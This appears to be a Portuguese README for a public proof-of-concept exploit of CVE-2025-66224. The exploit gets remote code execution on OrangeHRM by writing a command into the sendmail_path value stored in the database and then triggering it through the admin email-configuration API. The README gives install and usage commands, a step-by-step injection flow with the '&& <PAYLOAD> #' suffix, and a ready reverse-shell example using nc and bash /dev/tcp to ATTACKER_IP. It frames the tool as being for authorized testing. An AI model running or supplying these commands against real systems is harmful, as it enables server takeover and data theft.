Exploit de prova de conceito para CVE-2025-66224 demonstrando execução remota de código no OrangeHRM via injeção de comandos no parâmetro sendmail_path, com injeção automatizada de payloads no banco de dados e limpeza.
Esta Prova de Conceito (PoC) demonstra uma vulnerabilidade de Execução Remota de Código (RCE) no OrangeHRM através de injeção de comandos no parâmetro de configuração sendmail_path.
A exploração funciona da seguinte forma:
hs_hr_config)Esta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados. O acesso não autorizado a sistemas de computador é ilegal. Os autores não são responsáveis por qualquer uso indevido ou dano causado por esta ferramenta.
pip install requests mysql-connector-python
git clone https://github.com/richard-natan/PoC-CVE-2025-66224
cd PoC-CVE-2025-66224
pip install -r requirements.txt
_orangehrmpython3 exploit.py -t <TARGET_URL> -c <COOKIE_VALUE> \
-dh <MYSQL_HOST> -du <MYSQL_USER> -dp <MYSQL_PASSWORD> \
-cmd '<COMMAND_TO_EXECUTE>'
python3 exploit.py -t http://127.0.0.1:8080/ \
-c "g58tak8pbnheseatv6dggvi31i" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd "touch /tmp/pwned"
# Start listener on attacker machine
nc -lvnp 4444
# Execute exploit with reverse shell payload
python3 exploit.py -t http://target.com/ \
-c "your_session_cookie" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
| Parâmetro | Abreviação | Obrigatório | Descrição |
|---|---|---|---|
--target | -t | ✅ | URL alvo (ex.: http://target.com) |
--cookie | -c | ✅ | Valor do cookie de sessão |
--cookie_name | -cn | ❌ | Nome do cookie (padrão: _orangehrm) |
--command | -cmd | ✅ | Comando a executar no alvo |
--db_host | -dh | ✅ | Endereço do host MySQL |
--db_user | -du | ✅ | Nome de usuário MySQL |
--db_pass | -dp | ✅ | Senha do MySQL |
--db_port | -dport | ❌ | Porta MySQL (padrão: 3306) |
A vulnerabilidade existe na funcionalidade de configuração de e-mail, onde o parâmetro sendmail_path é armazenado no banco de dados e posteriormente executado sem a devida sanitização.
Fluxo da Exploração:
1. Authenticate to OrangeHRM (obtain valid session cookie)
↓
2. Connect to MySQL database
↓
3. Locate hs_hr_config table
↓
4. Update email_config.sendmail_path value:
FROM: /usr/sbin/sendmail -bs
TO: /usr/sbin/sendmail -bs && <PAYLOAD> #
↓
5. Trigger execution via API:
PUT /web/index.php/api/v2/admin/email-configuration
↓
6. Command executes on server
↓
7. Restore original value (cleanup)
Parâmetro Vulnerável: email_config.sendmail_path
Banco de dados:
hs_hr_configname = 'email_config.sendmail_path'value = caminho do comando sendmailEndpoint de Disparo:
PUT /web/index.php/api/v2/admin/email-configuration
sendmail_pathPoC por: RiccK
Equipe: Bypassadores && HackersOnSteroids
⚠️ Use com responsabilidade. Sempre obtenha a devida autorização antes de testar.